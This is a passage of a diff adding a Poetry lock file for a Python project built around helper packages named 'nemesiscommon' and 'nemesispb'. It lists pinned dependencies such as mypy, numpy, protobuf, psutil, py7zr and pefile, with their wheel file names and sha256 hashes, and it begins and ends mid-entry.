"sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"}, + {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"}, + {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"}, + {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"}, + {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"}, + {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"}, + {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"}, + {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"}, + {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"}, + {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"}, + {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"}, + {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"}, + {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"}, +] + +[package.dependencies] +mypy-extensions = ">=0.4.3" +typing-extensions = ">=3.10" + +[package.extras] +dmypy = ["psutil (>=4.0)"] +python2 = ["typed-ast (>=1.4.0,<2)"] +reports = ["lxml"] + +[[package]] +name = "mypy-extensions" +version = "1.0.0" +description = "Type system extensions for programs checked with the mypy type checker." +optional = false +python-versions = ">=3.5" +files = [ + {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"}, + {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"}, +] + +[[package]] +name = "mypy-protobuf" +version = "3.4.0" +description = "Generate mypy stub files from protobuf specs" +optional = false +python-versions = ">=3.7" +files = [ + {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"}, + {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"}, +] + +[package.dependencies] +protobuf = ">=4.21.8" +types-protobuf = ">=3.20.4" + +[[package]] +name = "nemesiscommon" +version = "0.2.2" +description = "Common nemesis helper functions" +optional = false +python-versions = "^3.9" +files = [] +develop = true + +[package.dependencies] +aio-pika = "^8.3.0" +aioboto3 = "^10.4.0" +boto3 = "^1.24.59" +miniopy-async = "^1.15" +nemesispb = {path = "../nemesispb", develop = true} +prometheus-async = {version = "^22.2.0", extras = ["aiohttp"]} +pycryptodomex = "^3.15.0" +pydantic = "^1.10.4" +pyyaml = "^6.0" +requests = "^2.28.1" +rich = "^13.3.3" +structlog = "^23.1.0" +tenacity = "^8.0.1" +typing-extensions = "^4.4.0" +winacl = "^0.1.7" +yara-python = "^4.3.0" + +[package.source] +type = "directory" +url = "../../packages/python/nemesiscommon" + +[[package]] +name = "nemesispb" +version = "0.1.0" +description = "Nemesis python protobuf" +optional = false +python-versions = "^3.9" +files = [] +develop = true + +[package.dependencies] +mypy-protobuf = "^3.4.0" +protobuf = "^4.21.5" + +[package.source] +type = "directory" +url = "../../packages/python/nemesispb" + +[[package]] +name = "nltk" +version = "3.8.1" +description = "Natural Language Toolkit" +optional = false +python-versions = ">=3.7" +files = [ + {file = "nltk-3.8.1-py3-none-any.whl", hash = "sha256:fd5c9109f976fa86bcadba8f91e47f5e9293bd034474752e92a520f81c93dda5"}, + {file = "nltk-3.8.1.zip", hash = "sha256:1834da3d0682cba4f2cede2f9aad6b0fafb6461ba451db0efb6f9c39798d64d3"}, +] + +[package.dependencies] +click = "*" +joblib = "*" +regex = ">=2021.8.3" +tqdm = "*" + +[package.extras] +all = ["matplotlib", "numpy", "pyparsing", "python-crfsuite", "requests", "scikit-learn", "scipy", "twython"] +corenlp = ["requests"] +machine-learning = ["numpy", "python-crfsuite", "scikit-learn", "scipy"] +plot = ["matplotlib"] +tgrep = ["pyparsing"] +twitter = ["twython"] + +[[package]] +name = "nodeenv" +version = "1.8.0" +description = "Node.js virtual environment builder" +optional = false +python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*" +files = [ + {file = "nodeenv-1.8.0-py2.py3-none-any.whl", hash = "sha256:df865724bb3c3adc86b3876fa209771517b0cfe596beff01a92700e0e8be4cec"}, + {file = "nodeenv-1.8.0.tar.gz", hash = "sha256:d51e0c37e64fbf47d017feac3145cdbb58836d7eee8c6f6d3b6880c5456227d2"}, +] + +[package.dependencies] +setuptools = "*" + +[[package]] +name = "numpy" +version = "1.25.1" +description = "Fundamental package for array computing in Python" +optional = false +python-versions = ">=3.9" +files = [ + {file = "numpy-1.25.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:77d339465dff3eb33c701430bcb9c325b60354698340229e1dff97745e6b3efa"}, + {file = "numpy-1.25.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d736b75c3f2cb96843a5c7f8d8ccc414768d34b0a75f466c05f3a739b406f10b"}, + {file = "numpy-1.25.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4a90725800caeaa160732d6b31f3f843ebd45d6b5f3eec9e8cc287e30f2805bf"}, + {file = "numpy-1.25.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c6c9261d21e617c6dc5eacba35cb68ec36bb72adcff0dee63f8fbc899362588"}, + {file = "numpy-1.25.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:0def91f8af6ec4bb94c370e38c575855bf1d0be8a8fbfba42ef9c073faf2cf19"}, + {file = "numpy-1.25.1-cp310-cp310-win32.whl", hash = "sha256:fd67b306320dcadea700a8f79b9e671e607f8696e98ec255915c0c6d6b818503"}, + {file = "numpy-1.25.1-cp310-cp310-win_amd64.whl", hash = "sha256:c1516db588987450b85595586605742879e50dcce923e8973f79529651545b57"}, + {file = "numpy-1.25.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6b82655dd8efeea69dbf85d00fca40013d7f503212bc5259056244961268b66e"}, + {file = "numpy-1.25.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e8f6049c4878cb16960fbbfb22105e49d13d752d4d8371b55110941fb3b17800"}, + {file = "numpy-1.25.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41a56b70e8139884eccb2f733c2f7378af06c82304959e174f8e7370af112e09"}, + {file = "numpy-1.25.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5154b1a25ec796b1aee12ac1b22f414f94752c5f94832f14d8d6c9ac40bcca6"}, + {file = "numpy-1.25.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:38eb6548bb91c421261b4805dc44def9ca1a6eef6444ce35ad1669c0f1a3fc5d"}, + {file = "numpy-1.25.1-cp311-cp311-win32.whl", hash = "sha256:791f409064d0a69dd20579345d852c59822c6aa087f23b07b1b4e28ff5880fcb"}, + {file = "numpy-1.25.1-cp311-cp311-win_amd64.whl", hash = "sha256:c40571fe966393b212689aa17e32ed905924120737194b5d5c1b20b9ed0fb171"}, + {file = "numpy-1.25.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:3d7abcdd85aea3e6cdddb59af2350c7ab1ed764397f8eec97a038ad244d2d105"}, + {file = "numpy-1.25.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a180429394f81c7933634ae49b37b472d343cccb5bb0c4a575ac8bbc433722f"}, + {file = "numpy-1.25.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d412c1697c3853c6fc3cb9751b4915859c7afe6a277c2bf00acf287d56c4e625"}, + {file = "numpy-1.25.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20e1266411120a4f16fad8efa8e0454d21d00b8c7cee5b5ccad7565d95eb42dd"}, + {file = "numpy-1.25.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:f76aebc3358ade9eacf9bc2bb8ae589863a4f911611694103af05346637df1b7"}, + {file = "numpy-1.25.1-cp39-cp39-win32.whl", hash = "sha256:247d3ffdd7775bdf191f848be8d49100495114c82c2bd134e8d5d075fb386a1c"}, + {file = "numpy-1.25.1-cp39-cp39-win_amd64.whl", hash = "sha256:1d5d3c68e443c90b38fdf8ef40e60e2538a27548b39b12b73132456847f4b631"}, + {file = "numpy-1.25.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:35a9527c977b924042170a0887de727cd84ff179e478481404c5dc66b4170009"}, + {file = "numpy-1.25.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0d3fe3dd0506a28493d82dc3cf254be8cd0d26f4008a417385cbf1ae95b54004"}, + {file = "numpy-1.25.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:012097b5b0d00a11070e8f2e261128c44157a8689f7dedcf35576e525893f4fe"}, + {file = "numpy-1.25.1.tar.gz", hash = "sha256:9a3a9f3a61480cc086117b426a8bd86869c213fc4072e606f01c4e4b66eb92bf"}, +] + +[[package]] +name = "olefile" +version = "0.46" +description = "Python package to parse, read and write Microsoft OLE2 files (Structured Storage or Compound Document, Microsoft Office)" +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "olefile-0.46.zip", hash = "sha256:133b031eaf8fd2c9399b78b8bc5b8fcbe4c31e85295749bb17a87cba8f3c3964"}, +] + +[[package]] +name = "packaging" +version = "23.1" +description = "Core utilities for Python packages" +optional = false +python-versions = ">=3.7" +files = [ + {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"}, + {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"}, +] + +[[package]] +name = "pamqp" +version = "3.2.1" +description = "RabbitMQ Focused AMQP low-level library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pamqp-3.2.1-py2.py3-none-any.whl", hash = "sha256:15acef752356593ca569d13dfedc8ada9f17deeeb8cec4f7b77825e2b6c7de3e"}, + {file = "pamqp-3.2.1.tar.gz", hash = "sha256:22550ceb1ca50aafda65873e77e8c1c1b139fb5975e1a09860fae940cf8e970a"}, +] + +[package.extras] +codegen = ["lxml", "requests", "yapf"] +testing = ["coverage", "flake8", "flake8-comprehensions", "flake8-deprecated", "flake8-import-order", "flake8-print", "flake8-quotes", "flake8-rst-docstrings", "flake8-tuple", "yapf"] + +[[package]] +name = "pathspec" +version = "0.11.1" +description = "Utility library for gitignore style pattern matching of file paths." +optional = false +python-versions = ">=3.7" +files = [ + {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"}, + {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"}, +] + +[[package]] +name = "pbr" +version = "5.11.1" +description = "Python Build Reasonableness" +optional = false +python-versions = ">=2.6" +files = [ + {file = "pbr-5.11.1-py2.py3-none-any.whl", hash = "sha256:567f09558bae2b3ab53cb3c1e2e33e726ff3338e7bae3db5dc954b3a44eef12b"}, + {file = "pbr-5.11.1.tar.gz", hash = "sha256:aefc51675b0b533d56bb5fd1c8c6c0522fe31896679882e1c4c63d5e4a0fccb3"}, +] + +[[package]] +name = "pefile" +version = "2022.5.30" +description = "Python PE parsing module" +optional = false +python-versions = ">=3.6.0" +files = [ + {file = "pefile-2022.5.30.tar.gz", hash = "sha256:a5488a3dd1fd021ce33f969780b88fe0f7eebb76eb20996d7318f307612a045b"}, +] + +[package.dependencies] +future = "*" + +[[package]] +name = "platformdirs" +version = "3.8.1" +description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." +optional = false +python-versions = ">=3.7" +files = [ + {file = "platformdirs-3.8.1-py3-none-any.whl", hash = "sha256:cec7b889196b9144d088e4c57d9ceef7374f6c39694ad1577a0aab50d27ea28c"}, + {file = "platformdirs-3.8.1.tar.gz", hash = "sha256:f87ca4fcff7d2b0f81c6a748a77973d7af0f4d526f98f308477c3c436c74d528"}, +] + +[package.extras] +docs = ["furo (>=2023.5.20)", "proselint (>=0.13)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)"] + +[[package]] +name = "pluggy" +version = "1.2.0" +description = "plugin and hook calling mechanisms for python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pluggy-1.2.0-py3-none-any.whl", hash = "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849"}, + {file = "pluggy-1.2.0.tar.gz", hash = "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3"}, +] + +[package.extras] +dev = ["pre-commit", "tox"] +testing = ["pytest", "pytest-benchmark"] + +[[package]] +name = "prometheus-async" +version = "22.2.0" +description = "Async helpers for prometheus_client." +optional = false +python-versions = ">=3.7" +files = [ + {file = "prometheus-async-22.2.0.tar.gz", hash = "sha256:b0426370eb3b3bacd99afcf1fcc669c118cb67603cc951a6fe12434e9d4307f2"}, + {file = "prometheus_async-22.2.0-py3-none-any.whl", hash = "sha256:5cbfa535561342b834c087c4f3f3be0a3cb8785a0b8748111c916f3d68bbc370"}, +] + +[package.dependencies] +aiohttp = {version = ">=3", optional = true, markers = "extra == \"aiohttp\""} +prometheus_client = ">=0.8.0" +wrapt = "*" + +[package.extras] +aiohttp = ["aiohttp (>=3)"] +consul = ["aiohttp (>=3)"] +dev = ["aiohttp", "cogapp", "coverage[toml]", "furo", "mypy", "myst-parser", "pre-commit", "pytest", "pytest-asyncio", "pytest-twisted", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "tomli", "twisted"] +docs = ["aiohttp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "twisted"] +tests = ["coverage[toml]", "pytest", "pytest-asyncio"] +twisted = ["twisted"] + +[[package]] +name = "prometheus-client" +version = "0.17.1" +description = "Python client for the Prometheus monitoring system." +optional = false +python-versions = ">=3.6" +files = [ + {file = "prometheus_client-0.17.1-py3-none-any.whl", hash = "sha256:e537f37160f6807b8202a6fc4764cdd19bac5480ddd3e0d463c3002b34462101"}, + {file = "prometheus_client-0.17.1.tar.gz", hash = "sha256:21e674f39831ae3f8acde238afd9a27a37d0d2fb5a28ea094f0ce25d2cbf2091"}, +] + +[package.extras] +twisted = ["twisted"] + +[[package]] +name = "protobuf" +version = "4.23.4" +description = "" +optional = false +python-versions = ">=3.7" +files = [ + {file = "protobuf-4.23.4-cp310-abi3-win32.whl", hash = "sha256:5fea3c64d41ea5ecf5697b83e41d09b9589e6f20b677ab3c48e5f242d9b7897b"}, + {file = "protobuf-4.23.4-cp310-abi3-win_amd64.whl", hash = "sha256:7b19b6266d92ca6a2a87effa88ecc4af73ebc5cfde194dc737cf8ef23a9a3b12"}, + {file = "protobuf-4.23.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:8547bf44fe8cec3c69e3042f5c4fb3e36eb2a7a013bb0a44c018fc1e427aafbd"}, + {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:fee88269a090ada09ca63551bf2f573eb2424035bcf2cb1b121895b01a46594a"}, + {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:effeac51ab79332d44fba74660d40ae79985901ac21bca408f8dc335a81aa597"}, + {file = "protobuf-4.23.4-cp37-cp37m-win32.whl", hash = "sha256:c3e0939433c40796ca4cfc0fac08af50b00eb66a40bbbc5dee711998fb0bbc1e"}, + {file = "protobuf-4.23.4-cp37-cp37m-win_amd64.whl", hash = "sha256:9053df6df8e5a76c84339ee4a9f5a2661ceee4a0dab019e8663c50ba324208b0"}, + {file = "protobuf-4.23.4-cp38-cp38-win32.whl", hash = "sha256:e1c915778d8ced71e26fcf43c0866d7499891bca14c4368448a82edc61fdbc70"}, + {file = "protobuf-4.23.4-cp38-cp38-win_amd64.whl", hash = "sha256:351cc90f7d10839c480aeb9b870a211e322bf05f6ab3f55fcb2f51331f80a7d2"}, + {file = "protobuf-4.23.4-cp39-cp39-win32.whl", hash = "sha256:6dd9b9940e3f17077e820b75851126615ee38643c2c5332aa7a359988820c720"}, + {file = "protobuf-4.23.4-cp39-cp39-win_amd64.whl", hash = "sha256:0a5759f5696895de8cc913f084e27fd4125e8fb0914bb729a17816a33819f474"}, + {file = "protobuf-4.23.4-py3-none-any.whl", hash = "sha256:e9d0be5bf34b275b9f87ba7407796556abeeba635455d036c7351f7c183ef8ff"}, + {file = "protobuf-4.23.4.tar.gz", hash = "sha256:ccd9430c0719dce806b93f89c91de7977304729e55377f872a92465d548329a9"}, +] + +[[package]] +name = "psutil" +version = "5.9.5" +description = "Cross-platform lib for process and system monitoring in Python." +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*" +files = [ + {file = "psutil-5.9.5-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:be8929ce4313f9f8146caad4272f6abb8bf99fc6cf59344a3167ecd74f4f203f"}, + {file = "psutil-5.9.5-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ab8ed1a1d77c95453db1ae00a3f9c50227ebd955437bcf2a574ba8adbf6a74d5"}, + {file = "psutil-5.9.5-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:4aef137f3345082a3d3232187aeb4ac4ef959ba3d7c10c33dd73763fbc063da4"}, + {file = "psutil-5.9.5-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:ea8518d152174e1249c4f2a1c89e3e6065941df2fa13a1ab45327716a23c2b48"}, + {file = "psutil-5.9.5-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:acf2aef9391710afded549ff602b5887d7a2349831ae4c26be7c807c0a39fac4"}, + {file = "psutil-5.9.5-cp27-none-win32.whl", hash = "sha256:5b9b8cb93f507e8dbaf22af6a2fd0ccbe8244bf30b1baad6b3954e935157ae3f"}, + {file = "psutil-5.9.5-cp27-none-win_amd64.whl", hash = "sha256:8c5f7c5a052d1d567db4ddd231a9d27a74e8e4a9c3f44b1032762bd7b9fdcd42"}, + {file = "psutil-5.9.5-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:3c6f686f4225553615612f6d9bc21f1c0e305f75d7d8454f9b46e901778e7217"}, + {file = "psutil-5.9.5-cp36-abi3-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7a7dd9997128a0d928ed4fb2c2d57e5102bb6089027939f3b722f3a210f9a8da"}, + {file = "psutil-5.9.5-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89518112647f1276b03ca97b65cc7f64ca587b1eb0278383017c2a0dcc26cbe4"}, + {file = "psutil-5.9.5-cp36-abi3-win32.whl", hash = "sha256:104a5cc0e31baa2bcf67900be36acde157756b9c44017b86b2c049f11957887d"}, + {file = "psutil-5.9.5-cp36-abi3-win_amd64.whl", hash = "sha256:b258c0c1c9d145a1d5ceffab1134441c4c5113b2417fafff7315a917a026c3c9"}, + {file = "psutil-5.9.5-cp38-abi3-macosx_11_0_arm64.whl", hash = "sha256:c607bb3b57dc779d55e1554846352b4e358c10fff3abf3514a7a6601beebdb30"}, + {file = "psutil-5.9.5.tar.gz", hash = "sha256:5410638e4df39c54d957fc51ce03048acd8e6d60abc0f5107af51e5fb566eb3c"}, +] + +[package.extras] +test = ["enum34", "ipaddress", "mock", "pywin32", "wmi"] + +[[package]] +name = "py7zr" +version = "0.20.5" +description = "Pure python 7-zip library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "py7zr-0.20.5-py3-none-any.whl", hash = "sha256:17fe8bb9379ef1d416e6e400f29158ad71dc409869c7206d880441c70806f07f"}, + {file = "py7zr-0.20.5.tar.gz", hash = "sha256:6fb4889c0fa32581818a3366984083253585d6c794e82c3242b8a12d6aeaabd3"}, +] + +[package.dependencies] +brotli = {version = ">=1.0.9", markers = "platform_python_implementation == \"CPython\""} +brotlicffi = {version = ">=1.0.9.2", markers = "platform_python_implementation == \"PyPy\""} +inflate64 = {version = ">=0.3.1", markers = "python_version > \"3.6\""} +multivolumefile = ">=0.2.3" +psutil = {version = "*", markers = "sys_platform != \"cygwin\""} +pybcj = ">=0.6.0" +pycryptodomex = ">=3.6.6" +pyppmd = ">=0.18.1,<1.1.0" +pyzstd = ">=0.14.4" +texttable = "*" + +[package.extras] +check = ["black (>=23.1.0)", "check-manifest", "flake8 (<7)", "flake8-black (>=0.3.6)", "flake8-deprecated", "flake8-isort", "isort (>=5.0.3)", "mypy (>=0.940)", "mypy-extensions (>=0.4.1)", "pygments", "readme-renderer", "twine", "types-psutil"] +debug = ["pytest", "pytest-leaks", "pytest-profiling"] +docs = ["docutils", "sphinx (>=5.0)", "sphinx-a4doc", "sphinx-py3doc-enhanced-theme"] +test = ["coverage[toml] (>=5.2)", "coveralls (>=2.1.1)", "py-cpuinfo", "pyannotate", "pytest", "pytest-benchmark", "pytest-cov", "pytest-remotedata", "pytest-timeout"] +test-compat = ["libarchive-c"] + +[[package]] +name = "pyasn1" +version = "0.5.0" +description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +files = [ + {file = "pyasn1-0.5.0-py2.py3-none-any.whl", hash = "sha256:87a2121042a1ac9358cabcaf1d07680ff97ee6404333bacca15f76aa8ad01a57"}, + {file = "pyasn1-0.5.0.tar.gz", hash = "sha256:97b7290ca68e62a832558ec3976f15cbf911bf5d7c7039d8b861c2a0ece69fde"}, +] + +[[package]] +name = "pybcj" +version = "1.0.1" +description = "bcj filter library" +optional = false +python-versions = ">=3.6" +files = [ + {file = "pybcj-1.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20fc0d8f67e2d9747e0c31082d5f64b112258ae602a85aa5c7e6bf5a7cad287b"}, + {file = "pybcj-1.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:43e8bc75773ca06ee7a64602b799613171e4edf4d9d8fd38fa5c49f1cdbb4407"}, + {file = "pybcj-1.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a81f14f213a75597f9be44feb97740a51adda558465fb159114472dc2ab39ef8"}, + {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:225a0addf4b3d580bf4eae583b5168dac0125a703c53ded8b3f120882e1e0312"}, + {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc79ed4773cd35328377a8fedbbdcafb3a9d242ee63b96863c0692c81faefab8"}, + {file = "pybcj-1.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0eaa90639992b6096afb1485380fae7f084483db6b92867847a3bfdf22cc4efc"}, + {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:570a3cf4e016dcb0fc561991833e5170a2a0bc6ee88fe5667591f356bd7b7895"}, + {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:46b82fe50eb8171ee2205e935f3fd5900e31beb5e54e10c88f23a5420902467d"}, + {file = "pybcj-1.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:2d6b34ec233fcf5a83ccfbf422fef22256947eaa7077aaa012e5961d15aa302c"}, + {file = "pybcj-1.0.1-cp310-cp310-win32.whl", hash = "sha256:fa787b414c4dc6b6cd75338fac18a7dbb53a09443dd863020a2d2bda76940ca6"}, + {file = "pybcj-1.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:970dc23ca1c64611d35a3abe76a059cf551da53d62faefd84c5bf3e0af1602d1"}, + {file = "pybcj-1.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c854a206d8c3a5a959b803405760f3627bb4878450e2f36b5d35af09c89152fc"}, + {file = "pybcj-1.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:21098001200273c3c9fd90e7bf909fb905a8e1c102c80b604cb7c6a3103ef7e0"}, + {file = "pybcj-1.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:39dd836134e261ec769cd5aa9ae7a3a330a7dac81efb66eb5504643abd8235df"}, + {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:acfc4a02ddf22f6df7184441b39f38c31e95aa8af41de4d2f825821ab1fb85c6"}, + {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f4428b6808d781f4b605a27f53fc10a3ca343d1cd901c691b9ba2e4ed85a5fc7"}, + {file = "pybcj-1.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74d34340323996b70dbd73e9530cca71c05ff7c97e30fe4d32aeea2f877836ca"}, + {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bf87f2a7f827656bc6e1d9888d47931aa0ae35cdc4ff33b1cec70d8d462590b3"}, + {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e6a74cb618da93ac1322d6a548a4508e76eb4c388ed1c80560bc25d8764cf272"}, + {file = "pybcj-1.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f472da992a6ba58381c0314b994c01d20e522ff8836417ef1c0975bdae142406"}, + {file = "pybcj-1.0.1-cp311-cp311-win32.whl", hash = "sha256:f58e489e43c9a1688c7d5ceb7455b44952d87f183b7b9c915b301478a2b3bfbe"}, + {file = "pybcj-1.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:a74e70bf3fd50a413fdce4264e037b8e8f34cb8d9207ac364167b6eb076c14ec"}, + {file = "pybcj-1.0.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:8e846a8272bf02202794fe22beaf389ed27c2d8ebf59aafb43af4935feac0389"}, + {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:421f211fb15aeb836b4ba61174cb409fc82222ab3b2486deb4953ae863e6507b"}, + {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdabbe7fd66886943393ecf98318d7801dd40183af80314acd4464bccdd44d53"}, + {file = "pybcj-1.0.1-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:731800acfc6112132aa2b7d08f9d6fe49a0c0071b30985809d084e238af98dac"}, + {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:09872b32edad4e3653d5b357b244d267ca58fe52d4e1dd3cdff816d3bb9d9f7c"}, + {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:5de90f8b6c7fc1d28dbe74c29b1d5053a7a8703cbc2c6f4f112907ffd7529f8e"}, + {file = "pybcj-1.0.1-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:10961ea10ae930b9348132707b9dd3cf3e71a41ef1df7656fbc4f14a71f10747"}, + {file = "pybcj-1.0.1-cp36-cp36m-win32.whl", hash = "sha256:6f589af70286ec6565e3415145a03abc3c14a23ed7ed198ac741de81af332f26"}, + {file = "pybcj-1.0.1-cp36-cp36m-win_amd64.whl", hash = 